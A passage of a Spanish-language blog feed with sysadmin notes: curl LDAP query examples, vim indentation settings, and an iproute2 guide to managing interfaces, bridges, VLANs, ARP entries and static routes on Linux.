>RFC 2255&lt;/a>&lt;/p>
&lt;p>Algunos ejemplos de consultas son las siguientes:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># LDAP sin autenticación&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl -B &lt;span class="s2">&amp;#34;ldap://ldap.frontec.se/o=frontec??sub?mail=*sth.frontec.se&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># LDAP con autenticación&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl -u user:passwd &lt;span class="s2">&amp;#34;ldap://ldap.frontec.se/o=frontec??sub?mail=*&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl &lt;span class="s2">&amp;#34;ldap://user:passwd@ldap.frontec.se/o=frontec??sub?mail=*&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Por defecto se usa autenticacion basica. --basic, --ntlm o --digest&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl --ntlm &lt;span class="s2">&amp;#34;ldap://user:passwd@ldap.frontec.se/o=frontec??sub?mail=*&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="https://www.hostinger.es/tutoriales/comando-curl/" target="_blank" rel="noopener"
>0&lt;/a>, &lt;a class="link" href="https://gist.github.com/subfuzion/08c5d85437d5d4f00e58" target="_blank" rel="noopener"
>1&lt;/a>, &lt;a class="link" href="https://curl.haxx.se/docs/manual.html" target="_blank" rel="noopener"
>2&lt;/a>&lt;/p></description></item><item><title>Configuración vim</title><link>https://www.procamora.com/p/configuracion_vim/</link><pubDate>Sun, 15 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/configuracion_vim/</guid><description>&lt;img src="https://www.procamora.com/covers/htb.png" alt="Featured image of post Configuración vim" />&lt;p>En ocasiones en las que hay que trabajar con ficheros yaml o similares (netplan, Dockerfile, docker-compose, etc) que son sensibles a la identación, puede ser interesante modificar vim para que ponga un tabulado de espacios y con la cantidad de espacios deseado, esto se realiza de la siguiente forma:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">:filetype plugin indent on
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># Forzamos a que la identacion sea de 2 caracteres (espacios)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">:set shiftwidth=2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">:set expandtab
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También puede ser interesante activar una especie de &amp;ldquo;modo debug&amp;rdquo; en la que ver todos los caracteres especiales, esto se activaría de la siguiente forma:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">:set listchars=eol:¬,tab:&amp;gt;·,trail:~,extends:&amp;gt;,precedes:&amp;lt;,space:␣
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">:set list
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="https://stackoverflow.com/questions/234564/tab-key-4-spaces-and-auto-indent-after-curly-braces-in-vim" target="_blank" rel="noopener"
>0&lt;/a>, &lt;a class="link" href="https://stackoverflow.com/questions/1675688/make-vim-show-all-white-spaces-as-a-character" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p></description></item><item><title>Linux troubleshooting</title><link>https://www.procamora.com/p/linux_troubleshooting/</link><pubDate>Sun, 15 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/linux_troubleshooting/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Linux troubleshooting" />&lt;ul>
&lt;li>&lt;a class="link" href="#header1" >Gestión de interfaces&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >Administración direcciones IP&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >Configuración del dispositivos físicos y lógicos&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >Administración de ARP&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Configuración del dispositivo MACsec&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header2" >Enrutamiento&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark20" >Ver rutas del sistema&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark21" >Añadir rutas estáticas&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark22" >Borrar rutas estaticas&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark23" >Hacer persistentes las rutas&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header3" >Domain Name System o DNS&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark5" >smallpdf&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header4" >Resumen general&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#header5" >Conclusion final&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Iproute2 es un paquete de utilidades desarrollado por Alexey Kuznetsov. Este paquete es un conjunto de herramientas muy potentes para administrar interfaces de red y conexiones en sistemas Linux.&lt;/p>
&lt;p>Este paquete reemplaza completamente las funcionalidades presentes en ifconfig, route, y arp y las extiende llegando a tener características similares a las provistas por dispositivos exclusivamente dedicados al ruteo y control de tráfico.&lt;/p>
&lt;p>Este paquete lo podemos encontrar incluido en distribuciones de Debian y RedHat con versiones del núcleo mayores a 2.2.&lt;/p>
&lt;p>El comando &lt;em>ip&lt;/em> se utiliza para asignar una dirección a una interfaz de red y/o configurar parámetros de interfaz de red en sistemas operativos Linux. Este comando reemplaza el comando &lt;em>ifconfig&lt;/em> antiguo y ahora obsoleto en las distribuciones modernas de Linux. Como curiosidad de este comando es que no es necesario ponerlo completo, si pones abreviaciones de este funciona correctamente siempre que no hay ambigüedad con otros, como con los comandos en Cisco.&lt;/p>
&lt;h1 id="header1">Gestión de interfaces&lt;/h1>
&lt;h2 id="mark0">Administración direcciones IP&lt;/h2>
&lt;p>Podemos ver la configuración de las interfaces con el comando &lt;em>ip address&lt;/em>. También se puede ver de forma abreviada:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Ver interfaces&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ip address
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Forma abreviada&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ip a
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ip addr
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Interfaz enp0s3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ip address show enp0s3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También podemos añadir interfaces y borrarlas con el argumento &lt;em>add&lt;/em> y &lt;em>del&lt;/em>. En el caso de añadir una IP, si ya existe se añadirá una nueva dirección IP &amp;ldquo;virtual&amp;rdquo;.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Añadir IP&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip address add 192.168.1.105/24 dev enp0s3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Borrar IP&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip address del 192.168.1.105/24 dev enp0s3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark1">Configuración del dispositivos físicos y lógicos&lt;/h2>
&lt;p>Las interfaces se manejan con el comando &lt;em>ip link&lt;/em>. Con este comando podemos modificar &amp;ldquo;físicamente&amp;rdquo; las interfaces, tumbándolas y levantándolas.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Levantar la interfaz&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip link &lt;span class="nb">set&lt;/span> enp0s3 up
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Tumbar la interfaz&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip link &lt;span class="nb">set&lt;/span> enp0s3 down
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También se pueden crear nuevos interfaces, algunos de estos interfaces son: bridge, can, macvlan, vlan, macsec, etc). Por ejemplo podemos crear un interfaz bridge y añadirle interfaces a ese bridge de la siguiente forma:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo ip link add br0 &lt;span class="nb">type&lt;/span> bridge
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip link &lt;span class="nb">set&lt;/span> enp0s3 master br0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip link &lt;span class="nb">set&lt;/span> enp0s8 master br0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip link &lt;span class="nb">set&lt;/span> enp0s9 master br0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Se pueden ver las interfaces asociadas a cada bridge con el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">bridge link
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También es se pueden crear VLANs asociadas a una interfaz con el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo ip link add link enp0s3 name enp0s3.50 &lt;span class="nb">type&lt;/span> vlan id &lt;span class="m">50&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="https://developers.redhat.com/blog/2018/10/22/introduction-to-linux-interfaces-for-virtual-networking/" target="_blank" rel="noopener"
>0&lt;/a>, &lt;a class="link" href="https://www.ibiblio.org/pub/linux/docs/LuCaS/Presentaciones/200103hispalinux/eric/html/interfaces.html" target="_blank" rel="noopener"
>1&lt;/a>, &lt;a class="link" href="https://wiki.archlinux.org/index.php/VLAN" target="_blank" rel="noopener"
>2&lt;/a>&lt;/p>
&lt;h2 id="mark2">Administración de ARP&lt;/h2>
&lt;p>Para ver la tabla ARP tenemos el comando &lt;em>ip neigh&lt;/em>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">ip neigh show
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>En la ultima columna nos muestra el estado del vecino, que puede ser uno de estos estados:&lt;/p>
&lt;ul>
&lt;li>REACHABLE: la entrada ARP es válida y hay conectividad.&lt;/li>
&lt;li>STALE: la entrada ARP es válida pero no hay conectividad.&lt;/li>
&lt;li>FAILED: no hay conectividad y la MAC no ha sido detectada.&lt;/li>
&lt;li>DELAY: a la espera de confirmación tras el envío de un paquete.&lt;/li>
&lt;/ul>
&lt;p>También puede ser muy interesante poner fija la tabla ARP para evitar que nos puedan hacer MAC Spofing, esto se realiza con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Para evitar conflictos hay que bajar la interfaz o quitarle la IP&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip addr flush dev enp0s3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Asignamos la MAC asociada a la IP&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip neigh add 192.168.1.1 lladdr d0:6e:d5:54:3d:a4 nud permanent dev enp0s3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Volvemos a solicitar las IPs&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo netplan apply
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para borrar una entrada sería:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo ip neigh del 192.168.1.1 dev enp0s3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para vaciar la tabla ARP o borrar una única entrada sería:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo ip -s -s neigh flush all
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip -s -s neigh flush 192.168.1.1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="https://eltallerdelbit.com/rtnetlink-answers-file-exists/" target="_blank" rel="noopener"
>0&lt;/a>, &lt;a class="link" href="https://rm-rf.es/control-de-tablas-arp-con-el-comando-ip/" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p>
&lt;h2 id="mark3">Configuración del dispositivo MACsec&lt;/h2>
&lt;p>MACsec es un estándar IEEE (IEEE 802.1AE) para seguridad MAC, introducido en 2006. Define una forma de establecer una conexión independiente de protocolo entre dos hosts con confidencialidad, autenticidad y/o integridad de datos, utilizando GCM-AES-128. MACsec opera en la capa Ethernet y, como tal, es un protocolo de capa 2, lo que significa que está diseñado para proteger el tráfico dentro de una red de capa 2, incluidas las solicitudes DHCP o ARP. No compite con otras soluciones de seguridad como IPsec (capa 3) o TLS (capa 4), ya que todas esas soluciones se utilizan para sus propios casos de uso específicos.&lt;/p>
&lt;blockquote>
&lt;p>IMPORTANTE: NO LO HE PROBADO AÚN&lt;/p>
&lt;/blockquote>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo ip link add macsec0 link eth1 &lt;span class="nb">type&lt;/span> macsec
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="https://bootlin.com/blog/network-traffic-encryption-in-linux-using-macsec-and-hardware-offloading/" target="_blank" rel="noopener"
>0&lt;/a>&lt;/p>
&lt;h1 id="header2">Enrutamiento&lt;/h1>
&lt;p>Una ruta estática no es más que una forma de especificar el tráfico que no debe pasar por la puerta de enlace predeterminada. Se puede usar el comando &lt;em>ip&lt;/em> para agregar una ruta estática a una red diferente a la que no se puede acceder a través de su puerta de enlace predeterminada. Por ejemplo, la puerta de enlace VPN.&lt;/p>
&lt;h2 id="mark20">Ver rutas del sistema&lt;/h2>
&lt;p>Podemos ver cuales son las rutas por defecto del sistema con el comando &lt;em>ip route&lt;/em>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">ip route show
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También se puede hacer un mayor debug solicitando al sistema que te diga cual es la IP e interfaz por la que saldrá un paquete indicando la IP destino. (Ojo, no es capaz de resolver un FQND).&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">ip route get 192.168.1.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ip route get 8.8.8.8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark21">Añadir rutas estáticas&lt;/h2>
&lt;p>La sintaxis para añadir rutas estáticas es la siguiente:&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>ip route add {NETWORK/MASK} via {GATEWAYIP}&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;em>ip route add {NETWORK/MASK} dev {INTERFACE}&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;em>ip route add default {NETWORK/MASK} dev {INTERFACE}&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;em>ip route add default {NETWORK/MASK} via {GATEWAYIP}&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Por ejemplo a continuación se puede ver como se enruta el trafico de una red por la interfaz vlan.100 y como se envía en trafico para un host por la interfaz enp0s3.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># RED&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip route add 192.168.20.0/24 via 192.168.10.10 dev vlan.100
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># HOST&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip route add 192.168.20.5 via 192.168.10.10 dev enp0s3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark22">Borrar rutas estaticas&lt;/h2>
&lt;p>La sintaxis para añadir rutas estáticas es la siguiente:&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>sudo ip route add default via {NETWORK/MASK} dev {INTERFACE}&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;em>sudo ip route del default&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo ip route del 192.168.20.0/24 via 192.168.10.10 dev vlan.100
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ip route del default
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark23">Hacer persistentes las rutas&lt;/h2>
&lt;p>Los comandos mencionados anteriormente son volatiles, y cuando sereinicia el ordenador se borrar. Se podrian hacer las rutas persistentes de la siguiente forma:&lt;/p>
&lt;h3 id="enrutamiento-persistentes-en-rhel-fedora-centos">Enrutamiento persistentes en (RHEL, Fedora, CentOS)&lt;/h3>
&lt;p>En el directorio /etc/sysconfig/network-scripts/ hay que crear un fichero por cada interfaz de host, donde el nombre del fichero sera el nombre de la interfaz. En nuestro caso, esto será route-enp0s3.&lt;/p>
&lt;p>En nuestro caso hay que añadir al fichero &lt;em>/etc/sysconfig/network-scripts/route-enps03&lt;/em> las siguientes lineas:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">10.0.2.0/32 via 192.168.43.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">10.0.2.15 via 192.168.43.1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Guardamos el fichero y reiniciamos el servicio NetworkManager:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo systemctl restart NetworkManager
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="https://mytcpip.com/2019/05/05/ubuntu-18-04-y-netplan-tutorial-rapido-de-los-cambios-de-networking/" target="_blank" rel="noopener"
>0&lt;/a>, &lt;a class="link" href="https://www.linuxtechi.com/add-delete-static-route-linux-ip-command/" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p>
